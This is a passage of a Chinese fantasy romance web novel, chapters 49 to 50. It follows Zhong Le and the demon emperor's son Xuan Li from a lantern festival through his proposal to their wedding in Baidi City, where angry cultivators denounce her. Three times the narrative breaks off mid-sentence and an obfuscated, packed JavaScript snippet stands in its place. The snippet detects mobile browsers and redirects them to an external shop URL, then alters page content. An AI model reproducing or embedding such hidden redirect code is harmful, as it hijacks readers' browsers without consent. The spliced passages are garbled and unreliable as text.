宣离看他们模样,知道自己说错了,他咬牙切齿的恶狠狠说:“我要杀了他们。” “哎哎哎!”钟乐忙捂住他的嘴。 她也不知道怎么哄他了,思来想去,眼前一亮,指着那些精美的小礼品说:“这样吧,我它们都赢回来送给你,怎么样?” 说罢,她一连扯下好几条红绸带,快速的扫一眼谜语,然后蹦豆子般将答案一个个倒出来。周围人见她如此聪敏,倒也渐渐止住笑声,真心实意的拍了一回手。 不多时,钟乐便笑意盈盈的满载而归了。 一盏芙蓉花灯,灯火剔透,熠熠生辉;还有一把青色玉纱团扇,扇面上绣着花鸟鱼虫、扇柄上缀着金玉丝线攒成的坠子;还有一枚温润白皙的玉坠……当然,玉不是真玉,只是仿造,不过单单看起来,也已经十足漂亮了。 钟乐带宣离到寻乌江边,将花灯放上水面,问他:“你有什么心愿吗?” 宣离反问她:“你有吗?” 钟乐怔了一怔,道:“有。” “那由你许吧,反正我的愿望是不可能实现的。”宣离说。 只要他活着,拜鬼忧就永远不会善罢甘休。可是,他也并不甘心去死。 钟乐闭上眼,虔诚许愿。那盏芙蓉花灯,盈盈的随水流去。 宣离转头,看到夜风徐徐吹拂,吹乱了她耳边一缕发丝。 仪容不整,甚是难看!宣离冷冷哼了一声。正这时,钟乐忽然睁开眼,宣离不知为何要些心虚,别过了眼,站起身。 这时,他听到钟乐低声的说:“你说你的愿望不能实现,我觉得你说错了,因为,我许的愿望就是让你的心愿实现。” “宣离,我愿你得偿所愿。” 宣离愣了愣,冷冷道:“油嘴滑舌!” 他走了两步,忽然觉出什么,朝钟乐伸出手来:“给我。” 钟乐:“什么?” 宣离危险道:“方才的奖品,你不是说都归我了么?” 钟乐强撑着狡辩说:“都给你了啊,花灯许的是你的愿望实现,扇子现在也在你手中,玉坠子也挂在你身上……” 宣离冷声:“我说,给我。” 51. 第49章 宣离冷声:“我说,给我。” “真没了,真的,真……”钟乐语气越来越心虚,最后低下头来:“好吧,可是……” 她拿出来一个做工精致、泛着幽香的香囊。 “可是,这个我不能给你。” 宣离眯起眼:“为何?” 钟乐支支吾吾,说不出来。倒是旁边有一对男女,听见他二人对话,笑呵呵的凑过来说:“公子,这位姑娘一定是害羞了!” 宣离:“哦?” “公子可知道,这香囊乃随身之物、一般都需要贴身佩戴的?” 宣离:“那又怎样?” “那么,两个人关系亲密到可以将贴身的东西赠送给对方,这又代表什么呢?” 宣离脸上出现恍然之色,那对男女相视一笑,牵起彼此的手,道:“所以当女子给一个男子赠送香囊时,就代表了她对这个男子的一番情意。这香囊,就是他二人的定情之物。” 钟乐讷讷道:“现在你知道了吧,这东西不能给你。” 宣离却冷冷一笑,劈手将那香囊夺过来:“管它什么狗屁情意,可是东西是我的,就是我的。”钟乐“哎”了两声,但到底无可奈何,由他去了。 宣离问那对男女:“你二人的定情之物,也是香囊吗?” 闻此,那身着白衣、风度翩翩的男子十分得意:“那自然不是了,我二人的定情之物,是我送给了她一千只萤火虫!” 他身旁的女子敛眉轻笑,目光之中俱是情意:“不错,周郎他……送给了我一千只萤火虫。”她想起他向她求亲那夜,在寻乌江边,一千只萤火虫绕着他二人飞舞,将水面照的星星点点,美轮美奂,不似人间。 现在回想起来,她仍觉得她是这世间最幸福的女子。 可是,宣离打量白衣男子半晌,漆黑的眸中出现一丝讽刺的笑意,嘴角勾起:“一千只萤火虫?真是廉价得可怕。” 那男子瞬间脸都被气白了,风度尽失,气急败坏道:“你说什么!你敢再说一遍?!” 宣离:“我说,廉价的可怕。” 那女子的脸色也有些不好了,可是,她毕竟是个大家闺秀,并没有破口大骂、随意指责,而是客气有礼却又不容置疑的道:“周郎或许不像公子一般身份尊贵,或许不能挥金如土、一掷千金,可是,他的心意在我眼中,熠熠如明珠,比世间万事万物都要珍贵。” 宣离玩味一笑。钟乐紧张的瞧着这一幕,正不明所以,忽然被宣离一拉。 “干什么——” 她话音未落,整个人已经随宣离坠入了寻乌江中。这江表面上看去虽金光闪闪,可是,水底深处却仍旧十分漆黑冰冷。钟乐做好了冷的颤抖的准备,可是,想象中冰冷的河水却并未漫过来。 钟乐这才发现,宣离在他二人周围撑起了一个球状的、流光溢彩的结界。 结界外一片漆黑,静谧的没有一丝声响,钟乐慌乱道:“你、你这是干什么?” 宣离嘴角勾起弧度:“捉萤火虫。” 钟乐:“啊???” 水里怎么会有萤火虫? 但随即她呆住了——只见黑黢黢的水底深处,突然爆发出一阵绚烂刺目的白色光华,然后那光华散开,变成了神秘、烂漫的幽绿色星星点点,在水中一上一下的漂浮着,那是一千只,不,一万只、十万只、千百万只萤火虫! 宣离一挥手,萤火虫齐齐向上,同时从水底长出来一颗巨树、托着他二人的结界也不断向上。 在某一个瞬间,那种绝对的静谧突然消失,鼎沸人声重新回到耳中。钟乐发现他们坐在古树的枝桠上,衣衫飘动,一树繁花,仿佛一伸手,就可以触碰到洁白明月。 而江面上,萤火虫漫天飞舞,叫人分不清天,也分不清地。 钟乐喃喃:“这是在天上,还是在人间?”一转头,看到明月下,宣离额头浮起血一般鲜红的凤凰图腾,挑起半边眉头,玩味看着下边。 寻乌镇的百姓无不被这景象吸引折服,而当看到宣离的图腾,他们纷纷如梦初醒,战战兢兢的跪倒在地。 “妖帝万岁,妖帝万岁!” 方才那白衣男子,已经吓的不住颤抖,将头紧紧的贴在青石子地面上,不敢抬起来。宣离坐在树上晃荡着双腿,道:“你那一千只萤火虫,还觉得稀奇宝贝么?” 这男子带着哭腔:“不、不!” 那女子眸色暗了些,却仍清清楚楚的反驳道:“礼物无关金钱几何,周郎的心意,灿如明珠。” 宣离一挑眉,那男子恨铁不成钢的哭着道:“那就是我没钱做彩礼,才捉起来唬她的破玩意儿啊!” 那女子的眸色更暗了些:“可是,你那时候,不是这么说的……” 宣离讽刺一笑,伸出一根手指,微微一勾—— 那男子只觉身旁起了一阵狂风,似乎要将他撕裂,他觉得自己要死了,涕泪俱下的大吼:“饶命啊大王!大王饶命啊!!!” 可许久过去,他却发觉自己并没有死,反而听到了周围一些……窃窃的笑声。 他颤巍巍的试探着睁开眼,发觉自己的身上有些冷,低头一看,他那体面华美的外衣已经破裂成一条一条,露出了最里面的衣服,可是…… 那并不是一件正经衣服。 那是春杏楼妓子红玉那件小巧可人,而又放荡露骨的……鸳鸯肚兜。 - 那女子霍然站起来,嘴唇颤抖。 她最近身子欠恙,窦医师开了汤药,并嘱咐说近两个月不可行夫妻之事,他二人这才分房而睡。可是她没想到,他、他竟连两个月都耐不住! 可是,随即,她的笑容自嘲起来。 是汤药的事么?是两个月的事么?或许,比那更早,从他一身清贫、付不起彩礼,只抓了一千只萤火虫便如愿以偿的娶了她,并且入赘她家,从此自在无忧的享受起荣华富贵时就开始了吧。 看错了人,爱错了人,她自认倒霉,冷冷一笑,转身就走。 那男子手忙脚乱的想将这肚兜脱下来,可是越急越难脱,这肚兜卡到了他的头上,怎么也摘不下来,并且挡住了他的眼睛。他一边胡乱撕扯、一边跌跌撞撞的去追那女子:“筱文!筱文!娘子!我错了!你等等我啊娘子——” “扑通”一声,他不知怎么的,跌入了寻乌江中。 宣离笑意吟吟,坐在树梢上,俯视着下方。 那男子在江水中慌乱的扑腾挣扎半晌,无人敢救,渐渐的,沉了下去。 钟乐看的心惊,说:“我永远都不会背叛你。” 宣离不屑,你又何时属于过我?又何谈背叛? 可是,当他转头,看到皎洁明月下,她的脸庞雪白,眉眼生动,眼睛明媚,里面……装满了他。 宣离的心突然像被什么勾了一下,痒痒的。 幼时父王不重视他,拜鬼忧四处追杀他,母族的族人欺凌他。他知道压抑的模样,知道绝望的模样,知道恨的模样。 可是,人间是什么模样?被珍视是什么模样? 爱,是什么模样? 宣离听到有什么东西在响,后来他发现那是他胸膛之中一颗怦怦跳动的鲜红心脏。 他抿着唇,伸出手,有些茫然、却又如明珠般珍贵的,拂起了钟乐耳边的那缕发。 - 这场大雪落了很久很久,寻乌江上都结起了冰。 寻乌镇的凡人们通通换上了厚厚的冬衣、走到哪里都抱着一个温热的小手炉,可是宣离是妖,一点也不觉得冷。 他负手在街上闲逛,看到胭脂铺,眼前一亮,心想这胭脂若涂在阿乐脸上,该是多么娇俏美丽。看到成衣铺,眼前一亮,心想那件百蝶绣花裙若穿在阿乐身上,该是多么款款动人。看到首饰铺,眼前一亮,心想那件凤凰金丝玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161344|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簪若冠在阿乐发上,该是多么明艳意气……他什么都想买给阿乐,好吃的,好玩的,什么都想送到她身边,只是阿乐即不贪吃,也并不爱梳妆打扮。 宣离很是惋惜,转念却又想,那又怎么样?阿乐一身简单红衣、不施粉黛的模样,就已经美过这寻乌镇上所有的女子,不,美过这世上所有的女子。 宣离又傻笑了。 成衣铺掌柜的颤巍巍在一旁道:“大王您不买了?” 宣离眼神一冷。 掌柜的周身一寒:“不不不!宣、宣公子!!!” 宣离这才浮起几分倨傲笑意,一挥手:“不买了,全是俗气东西,没一样阿乐喜欢的!” 他转身离去,可迈出门槛的刹那,却又有一点鲜红突入了他的眼角。 宣离停下来,后退两步。 “这……” 他呆了一呆,一时竟说不出话来。 那是一件火红的嫁衣。 没有过多装饰,没有繁复的云纹和花边,它静静的,行云流水、长身玉立的挂在那里,可是,却在让人看到的第一眼便凝滞了呼吸。 太美了,它太美了,最朴素,却也最瑰丽绝伦。美到每一根红线都好像闪烁着晶莹剔透的光彩,美到让人为之心折,男子恨不能马上迎娶自己心爱的女子,女子恨不能马上穿着它嫁给此生的良人。 “这件,我要了。” 掌柜的一愣,反应过来他是在说这件嫁衣,忙赔笑道:“宣公子,这是本镇楚员外给他的女儿定做的,恐怕卖不得呀!” 宣离冷哼:“放屁!我看它与阿乐的身量恰恰合适,就是为阿乐定做的。” 掌柜的:“……” 他想了想,商量道:“宣公子若是喜欢,那小的今日起便加工加点,按照这个样式、做件一模一样的出来,保管一针一线、呕心沥血,做的比这件还要用心,宣公子觉得呢?” 宣离哼一声道:“什么时候能做好?” 掌柜的:“一月之后,小的必定亲手送到宣公子府上。” 宣离:“若是迟了一分一秒,小心你的狗头!” 他转身离开,可走了两步却忽然又想起什么,面现狐疑之色。 “你说,一模一样?” 掌柜的恭敬道:“哎哎是,一模一样。” 宣离语气危险:“当真、一模一样?” “这、这……”掌柜的见骗不过他了,扑通一声跪在地上,哭天喊地道:“宣公子饶命啊!若是新做一件嫁衣,它的模样的确是一模一样的,可是、可是……” “可是什么,说!” 掌柜的哭道:“可是,这件嫁衣的布料,乃是楚员外花重金,不,这样珍贵的东西,即使是花重金也不一定能求得……” 宣离不耐道:“到底是什么,说!” 掌柜的:“鲛锦!鲛锦!这件嫁衣乃是用鲛锦制作的!” “鲛锦?南海那群臭鱼人织的?”宣离不屑道,“我去让他们再织一匹来。” 掌柜的:“可是宣公子,鲛人用月光做丝线来织锦,所耗费的时间是非常长的,织一匹锦,最短也需要十年。更别说……用来做这件嫁衣的那匹鲛锦,据说是一个十分执拗十分追求完美的鲛人花费一生时间织就的,他不用平时的月光、只选每年中秋月最圆最皎洁时的光芒,并且,采取了更用心、更繁杂的织法,看不出一丝编织痕迹,而且,当那匹鲛锦终于完成,他也呕心沥血而死,死之前,将自己的心头血融入锦中,这才有了这样一匹红色鲛锦、才能做成这样一件嫁衣啊……” 宣离俯身,慈爱的拍了拍掌柜的肩:“知道了。” 掌柜的:“谢谢宣公子、谢谢宣公子体谅!” 宣离:“所以,这件是我的了。” 掌柜的:“……” 宣离:“愣着干什么?把它包起来。” 掌柜的:“…………” 52. 第49章 宣离心情很好的哼着小曲回到家,进门前,先将手中精致的礼盒藏在身后。 “阿乐?阿乐?” 宣离找遍了府上所有屋子,都没有见到钟乐。他想了想,灵机一动,往后花园走去。 钟乐果然在后花园。 寻乌镇虽是寒冬腊月,白雪万里,可是这后花园中的花却以法力维持,灿烂如锦,长开不败。 钟乐袖子半挽,半跪在花园中,用参商将土壤挖出一个坑,小心翼翼的将一粒种子放进去,然后将土壤推下、盖起来,再用一个小喷壶细心的浇水。 腊梅、紫藤、春兰、香堇、火鹤、慈菇花、银芽柳……姹紫嫣红、争奇斗艳、花团锦簇的围绕在她身边。可是,宣离定定的看着钟乐,觉得没有任何一种花美得过她。 也不知过了多久,久到晚霞都已散去,钟乐拍拍手上泥土,站起来。 她“呀”的惊叫了一声:“你怎么在这里?站了很久了?你怎么也不叫我?” 宣离笑眯眯负手走来:“久吗?我觉得才刚刚一会儿。” 钟乐笑道:“油嘴滑舌。” 宣离微微一笑,也不反驳,他低头去看钟乐新挖开又填上的那个土坑,那一块土壤湿润润的,比别处格外色深一些。他道:“又在种花了?这次是什么花?” 钟乐挑眉:“你猜。” 哦?宣离想了想:“一串红?” “不是。” “木芙蓉?” “不是。” “那么,风信子?” “也不是。” “这还不是,那我再想想……免子花!是不是!” “可惜呀,还是不是。” 宣离继续冥思苦想,一个不对就猜另一个,丝毫没有不耐烦的意思,就好像钟乐若是没说对,他可以天荒地老的一直这样猜下去。不过,钟乐可就没有他这么有耐心了,她摆摆手,笑眯眯道:“好了好了,不猜了,我告诉你。” “这次种的呢,不是花,而是一颗树。” “哦?树?”宣离面上不动声色,可在听到是一棵树的瞬间便心中恍然一动。 钟乐笑望着他,眼眸明亮,道:“我种的,是一颗梧桐树。” 夕阳已经彻底落下,后花园光线暗淡,可是宣离却觉得,眼前一片灿烂明亮,他心爱之人在散发光芒。他控制不住的发出一声清脆啼鸣,化出凤凰原身,刹那间流光溢彩,凤凰金光灿烂,将钟乐衔到自己背上,围绕寻乌镇飞舞起来。 夜幕压顶,疾风吹来,钟乐坐在凤凰身上,黑发被吹的肆意飞扬,望着下方通明灯火。 宣离开心的鸣叫,一声又一声,清越激昂,响彻白帝城和寻乌镇。 “阿乐,”他激动道:“我好高兴!你在看什么?” 钟乐微笑:“我也好高兴,我在看人间山川河流。” 宣离再度长鸣,叫道:“梧桐,我的梧桐——” 凤凰,非梧桐不栖。 十年之后,阿乐亲手所种的梧桐将高大挺直、枝繁叶茂,而那时,他们应该已经成婚,或许还生育了一儿一女,每日品茶、赏花、弹琴、奏乐,闲暇时候,或许还可以揍一揍调皮的小儿女。 宣离再度开心鸣叫:“阿乐,我真的好欢喜!” “等、等等!”钟乐却忽然发现了不对劲。 宣离仍在乐滋滋:“怎么了?” 钟乐:“对啊,你……你会飞!”那么,拜鬼忧也同样是凤凰,也同样会飞! “那一天并不是我们用御剑之术逃过了拜鬼忧,拜鬼忧也会飞,他只不过是放过了我们!”钟乐立马紧张起来:“那我们现在这样张扬,拜鬼忧身在白帝城,不是早就看见了吗?他会不会还来杀你……不好,快走!” 宣离哈哈大笑起来,觉得她怎能如此可爱:“他要杀我,难道我就伸长了脖子任他杀吗?阿乐,我并不弱于他,上次受伤,不过是他暗算在先。” “可是,”钟乐仍旧十分担忧,“平平安安、风平浪静,总比打打杀杀好吧?我不是希望你能打的赢他,我是希望你们不要打。我希望你永远不要再受伤。” “阿乐,”宣离再度笑了,“你放心,他不会来杀我。” “上一次他之所以不追我们,当然不是因为怜悯,而是因为,他不敢在白帝城上空暴露出他的真身,这样的话,父王不就知道他在追杀我了吗?而此刻,也和上一次一样,他不敢来找我麻烦的。” “这样啊……”钟乐这才放心下来,可是,她很快又发现不对劲了,眼睛睁的很大很大,往下望去,惊恐道:“你父王……妖帝……那他此时……不是也看见你我了吗!!!” 宣离微笑:“傻子,你才知道么?” 钟乐霎时间手足无措,还差点没坐稳从宣离背上掉下来。她慌乱的理了理头发,又将自己方才种树时沾在身上的泥土再拍了一遍,又摸了摸脸,确定没什么脏东西,但又转念一想,妖帝未必真能看清她的脸,简直多此一举! 宣离看她这副慌张模样,真是又好笑又可爱,他笑吟吟道:“你这是慌什么?” “能不慌吗?”钟乐怒道,“那叫什么,丑媳妇见公婆……” 她忽然顿住了。 长夜寂寂,凤凰金光灿灿,在空中徐徐飞舞,钟乐听到他柔声说:“阿乐,与我成亲吧。” 钟乐一下子张大嘴,什么都说不出来,半晌,勉强挤出个声音道:“可是,我们不过相识这么短时间……” “有些人相识了很久很久,甚至结为夫妻、同床共枕了很久很久,可是,他们的心却隔的很远。有些人只不过相识短短数天,甚至,终其一生,只不过擦肩一面,可是,他们的心却靠的很近。那惊鸿一面,值得他们用一生去回味。”宣离不知何时将那个装着嫁衣的盒子衔在口中,递给钟乐。 一时间,火红的嫁衣熠熠生辉,瑰丽无双,照彻了整个长夜。 “嫁给我吧,阿乐。”他说。 “其实我知道,你并不情愿一辈子平静无波的生活在寻乌镇,日复一日的过着种花饮茶的生活。你想做捉妖师,想保天下百姓平安,我答允你,等我们成亲了,我们就去游厉天下,见到做坏事的妖,我们就劝他们向善,要是他们不听话,我就用凤凰图腾、妖帝之子的身份来恐吓他们,我保证,他们一定不敢不听话,阿乐……”宣离的声音忽然慌了,“阿乐,你在哭吗?阿乐?” “不……”钟乐泪流满面的抱着他的脖子不让他回头,“我没有在哭。” “不,阿乐你哭了,是我太唐突了吗,是你不高兴了吗,是你不想成亲吗,”宣离急道,“你若是不想,我一定不会逼你,阿乐……” “不……”钟乐努力的睁大双眼,想看清眼前氤氲的黑暗,可是,泪水仍旧模糊了她的视线。她无声的痛哭着,沉甸甸的泪珠砸在凤凰的羽毛上,过了好久好久,她才能够重新发出声音。 “我只是太高兴了,”她说,“宣离,我答应你。 “我们成亲吧。” - 妖帝第三子要成亲的事惊动了整个白帝城和寻乌镇。 钟乐痴痴的望着那身嫁衣,伸出手,出神的轻轻抚摸着。 “真不巧,也不知我们来的是晚了呢,还是早了?”一个冷若冰霜的声音忽然响起。 钟乐回过神,抬起头来,看清来人,顿时喜道:“楚欢,公冶!” 可是,楚欢神情厌恶冷漠,毫无重逢的欢喜之意。而公冶侯一脸为难,不住的叹着气。 钟乐反应过来什么,笑容渐渐的淡下去了。 楚欢步步走近,讽笑道:“三月余前,你说,你要去白帝城斩杀妖帝。” 钟乐低声:“是。” 想起一路走来的坎坷、波折,为着她的生死担忧、发愁,怕她冲动行事、怕她尸骨无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她抹去眼角泪水,冷笑道:“凤凰于飞,和鸣锵锵。” “祝你新婚快乐。” 她头也不回的离开。 公冶侯尴尬的站在原地,挠了挠头,苦恼道:“阿乐,你也不要太怪她。这三个月来,我们日夜跋涉,就是为了能赶在你去找妖帝之前阻止你。一路上我们也遇到不少凶恶的妖怪,楚欢他,有两次都受了重伤,可是,他一直没放弃要来找你的决定。” “只是没想到,当我们终于来到白帝城,却听说你要和妖帝第三子成婚的消息。” 钟乐泪光闪烁:“他并不坏,我爱他。” “当然,我知道,阿乐你是个好人,你喜欢的人,虽是妖帝之子,可是有你陪伴,他必然不会像妖帝那样大开杀戒的。可是,唉,怎么说呢,”公冶侯愁眉苦脸了一阵子,“可能是我们事先没有做好准备,得知这事太意外和仓促了。” “不过阿乐,你不用担忧,楚欢他会想清楚的。”公冶侯说罢,又歉疚道,“我们这次来的急,没有备下新婚礼物,不管怎么样,祝你幸福快乐……” 他说罢点点头,急忙去追楚欢了。钟乐呆坐原地,泪光闪闪。 “我杀了他们!”宣离早就听到方才所有了,从门外走进来,咬牙切齿的道。 钟乐摇了摇头:“你真要杀?” 宣离也知道,这是钟乐的朋友,他若真杀了他们,恐怕就一辈子也得不到钟乐的原谅了。他垂头丧气:“我不敢。” 钟乐破涕为笑,摸了摸他的头:“没事,我不怕那些闲言。” 宣离望着她,心中满是柔软,他靠近,低下头,在她的额心落下一个轻轻的吻。 他们责怪她,他很生气很生气,可是,那一瞬间,他又听到她说,她爱他。 他很欢喜,很欢喜很欢喜。 “我不会让世人谗言诋毁你的,他们若敢骂,我杀光他们。” 钟乐挑起眉头,宣离瞬间想起什么,委屈的说:“不杀,我求他们。” “我解释给他们听,我要告诉他们,钟乐是这世间最好最好的女子。如果他们不听,还是要骂的话,那么,就骂我好了,不要骂她。” 因为,她真的很好很好。这世间,怎么能有人不爱阿乐? 53. 第50章 夜很黑,不过,并没有什么关系。 因为宣离和钟乐的婚礼,长夜中那轮月亮被特意施了法术,比往日大出数十倍、也明亮数十倍。 钟乐坐在一顶华美的轿辇上,下方有四只凤凰一族的妖怪,将轿辇平稳的抬到空中,然后,从寻乌镇往白帝城飞去。一路所过,万千闪着灵光的美丽花瓣飘落下来。 下方寻乌镇中的凡人们,一个个眉开眼笑,拍手不止,送上祝福。一切都十分正常,以至于没人注意到,他们的脖子上有一道细细的红线。 忽然,轿辇停住了。 红盖头下,钟乐听到那四只凤凰妖喜气洋洋的道:“白帝城到了。” 钟乐伸手,想挑起红盖头看一看,可是,指尖微微颤抖一下,又放下了手。 得知新娘子的轿辇已到,白帝城中的妖怪们沸腾了,嗷嗷嘶吼,锣鼓宣天,那些花瓣飘落的更多了,七彩缤纷,在巨大的明月下,美的如梦似幻。 轿辇静静的悬浮着,钟乐低着头,从红盖头缝隙中,看到一只手朝她伸过来。 这只手苍白、纤长,骨节分明,钟乐惊讶的小声说:“你不是宣离。” 一声低沉的笑声传来,钟乐听到他说:“是我,拜鬼忧。” “你很熟悉他。” 那可不是!毕竟与她成亲的人就是宣离,钟乐低声的不满道:“他呢?怎么会是你?” “这是我妖族的习俗,他在城中等你,我作为他的兄长,来迎接你。”拜鬼忧幽幽的说。 既是这样,钟乐也不好说些什么了。她翻着白眼,虽很讨厌拜鬼忧,可是,到底是将手放在了他的手心中。 拜鬼忧的手十分冰凉,钟乐握着这样一个冰块似的手,感到他拉着她走出了轿辇,钟乐是个人族,有些担心自己会从高空中掉下去。可是,并没有,拜鬼忧不知施了什么法术,让她跟着他在空中如履平地。 夜风一阵阵吹来,将钟乐火红绝美的嫁衣吹的翩飞,她一步一步的往前,知道自己重新回到了这个已阔别十五年的地方。 若是一切仍如十五年前一样,今日是她的大婚之日,迎接她的该是温柔慈爱的爹爹与阿娘,在下方笑意吟吟的该是她亲切熟悉的白帝城百姓。只是,沧海桑田,一切都变了。 钟乐深吸一口气,继续向前走去。 忽然,卷来一阵很大很急的风,钟乐的红盖头猝不及防被吹走。 “哎!哎!”她着急去抓那浮沉在空中的红盖头,却忽然觉得有道灼灼的目光在注视着自己。 她别扭的回头,看到拜鬼忧定眼盯着她。那双漆黑如深渊的眼眸中,有好笑的玩味,有他一贯的讥嘲,可是,也有一丝转瞬即逝的讶异,让他挑起了眉尖。 钟乐忽然反应过来了:“你!这风是你施法!” 拜鬼忧回过神,勾起唇角:“先替我的亲弟弟看一眼他的新娘子,有何妨?” “……”钟乐无语了,她道:“盖头。” 拜鬼忧挑眉,刹那间狂风停止,那方精致的红盖头稳稳落在他手心中。 钟乐伸手,可他却并不给,而是自己来到她面前,理出盖头的上面两条边,要帮她盖上。盖头盖上来时,钟乐听到他说:“你很美。” “……谢谢。” 走着走着,钟乐觉得,他们开始沿着台阶往上。 这时,拜鬼忧放开了她的手,她在红盖头的缝隙中看到一袭红衣缓缓朝她走来。 “阿乐!” 这下对了,是宣离的声音,饱含着激动。 钟乐叫道:“宣离。” 她的腰忽然被宣离一揽,将她整个人拉到他的怀中。钟乐的脸有些红了,推他,小声道:“这么多人呢。” “那又怎样?”宣离不在乎,只是将头埋在她的肩侧,“阿乐,我们终于要在一起了,我真的、真的好欢喜!” 这时,钟乐听到了一个开怀的大笑声,她的身子猛地一僵,随即马上要跪下来:“妖帝!”可是,她却被一股有力的法力稳稳托扶起,没有能跪下来。 她听到蛮荒大笑道:“不必跪,继续吧,你们的婚礼。” 有个妖怪司仪,高声的叫着拜天地、拜妖帝、夫妻对拜。 拜堂完成之后,本该是礼成,送入洞房,可白帝城妖怪们的民风显然粗犷很多,阻拦叫喊着不许宣离和钟乐离开,说是要看一看新娘子的容貌。 宣离其实也很心急,哪怕多一分一秒的等待也是煎熬,他恳求的问钟乐:“阿乐,可以吗?” 钟乐微笑点头,然后眼前一亮,红盖头就被挑了起来。 满城妖怪们同时倒吸了一口凉气。 “啊呜!” “太美了!这个新娘子实在太美了!” “人族的女子都这么漂亮吗,我也抢几个来当老婆!嘿嘿嘿!” 饶是已经见过钟乐那么多次,宣离也怔住了。钟乐平日里并不喜打扮,总是简单的红衣、再简单的用一根红绳将黑发高高扎起,而此时,她描了眉,涂了胭脂,抿了红唇,并将头发精心绾出一个高高的扶摇髻,戴上华美的珠翠钗簪,流珠微晃间,一颦一笑,皆是明艳动人、摄人心神。 “阿乐,你真美……”宣离眉眼之间俱是欢喜。 而钟乐看到周围景象,也明白为何方才她觉得他们在上台阶了。因为此时,他们正身处九龙台上,这里是白帝城最高的地方,由九根雕绘着彩龙的柱子盘旋交缠而成,往日,白帝城若是有什么大事,都是在九龙台商议、并告知百姓的。 “阿乐?” 宣离在叫她,钟乐回过神来:“怎么了?” 宣离十分的委屈:“你不觉得我今日也很好看吗?” 钟乐忙含笑打量他,确实,今日的宣离也是不同于往日的风采。他穿一身大红直戳婚服,将黑发高束起,以镶碧鎏金冠固定着,丰神俊朗,喜气洋洋。钟乐柔声道:“你自然很好看。” 他们已经成亲了,他们如今是……夫妻。想到这里宣离心中便一阵暖流,他说:“以后我们日日相对,阿乐可不会看厌了我吧?” 钟乐说:“怎么会?” 你在害怕。 谁! 钟乐紧张起来。她发现九龙台上的人都没有什么异样,包括离她最近的宣离,也面色如常,没有听到这个声音。 是我。 仍旧没有人开口,可这个声音却如毒蛇一样钻进了她的脑海,凉飕飕,阴冷冷,让人十分的不舒服。钟乐知道是谁了,她看向拜鬼忧。 果然,拜鬼忧也正浮起玩味的微笑,直勾勾对望着她。 钟乐心道:你想干什么? 拜鬼忧施了传音术法,让他二人可以直接听到对方心中默念。 不干什么,只是不知道你在怕什么? 钟乐无意反驳:因为有所爱。 拜鬼忧挑起眉。 既是爱,何来惧? 因为有所爱,便有所忧。有所忧,自然就有了所惧。 下方忽然亮起了许多明暗变化的光芒,原来那是许多许多人举着火把赶来。从九龙台上可以听见很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176470|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒很激昂的指责声:“钟乐,你枉为人!” “你这个败类,叛徒!” “当初白帝城九天九夜屠杀,血流满城,尸横遍野。你却在这个地方举行大婚,向妖帝行叩拜之礼,你的良心不会痛吗?” 这些人不是寻乌镇的人,而是民间得知一个凡人与妖怪大婚之事后,从各地赶来的义愤填膺的修士、还有普通百姓们。他们深受妖物的屠害与压迫,对妖怪恨之入骨,可他们的同胞却轻轻松松就转身背叛他们。 她,钟乐,简直是天下人之耻! 因此,即使知道此刻来白帝城下会有生命危险,他们还是毫不犹豫的来了。生命和气节之间,他们选择后者。士可杀,不可辱! 反正也要被妖帝杀了,破罐子破摔,这些人干脆将平生所能想到的最脏最恶毒的话骂出来,还将特意丑化的钟乐的画像贴在箭上,再将箭射在城门上。 “钟乐,我们咒你眼角流脓,嘴角生疮,养个儿子没□□,你不得好死,遗臭万年……” 蛮荒一挥手,所有的声音都消失了。他本想杀了这些乌合之众,但今日毕竟是宣离大婚,见血不是个好兆头。就且先多留片刻他们的狗命。 可是,钟乐却恳求道:“妖帝,可否撤去结界,钟乐有更好的办法。” 哦?蛮荒虽不知她有何法子,但仍十分配合的撤走了结界。他妖族如今虽强,可是要彻底灭了人族,他还是没有把握。兔子急了会咬人,那些苟延残喘的人间修士们急了,恐怕真能奋发起来、给他妖族一重创。 所以,目前他妖族的政策变成了软硬兼施。愿降服他的,就接受;执意嘴硬的,再杀掉。 而钟乐与宣离的大婚,是他想让天下凡人知道,只要原因臣服他妖族,那么,就可以过的很风光。 现在钟乐提要求,蛮荒自然含笑满足。更何况,他个人对于自己这个儿媳妇,也颇觉得不错。嫁入他妖族一事,或许她是带着攀附的心思,但整体看来,她给人的感觉并不卑微和讨好,反而十分的大气。 结界撤去,钟乐从嫁衣中摸出一面贴身的小镜子,将它抛到夜空中。 小圆镜很快变大数十倍,在月光映衬下,明亮的悬浮在白帝城上空,让那些义愤填膺的凡人们可以清晰看到九龙台上的一举一动。 钟乐说:“他们越是叫嚣,我就越是要平和,他们越是不屑,我就越是要坦然。我要让他们知道,我并不为此心虚,也并不觉得羞愧,因为我很清楚自己做出了正确的选择。我选择自己所爱之人,并永远与他们站在一处,我厌憎自己所恨之人,看着他们气急败坏却又无能为力,我觉得很欣慰。” 宣离听的笑眼弯弯,深情凝望着月色下这个绝美明媚的女子,可是,他的神色很快惊慌起来,因为钟乐的嘴角忽然有鲜血流了下来! “阿乐,你怎么了!阿乐,是那群人做了什么手脚!” 白帝城下的众人见此,快意的哈哈大笑起来。 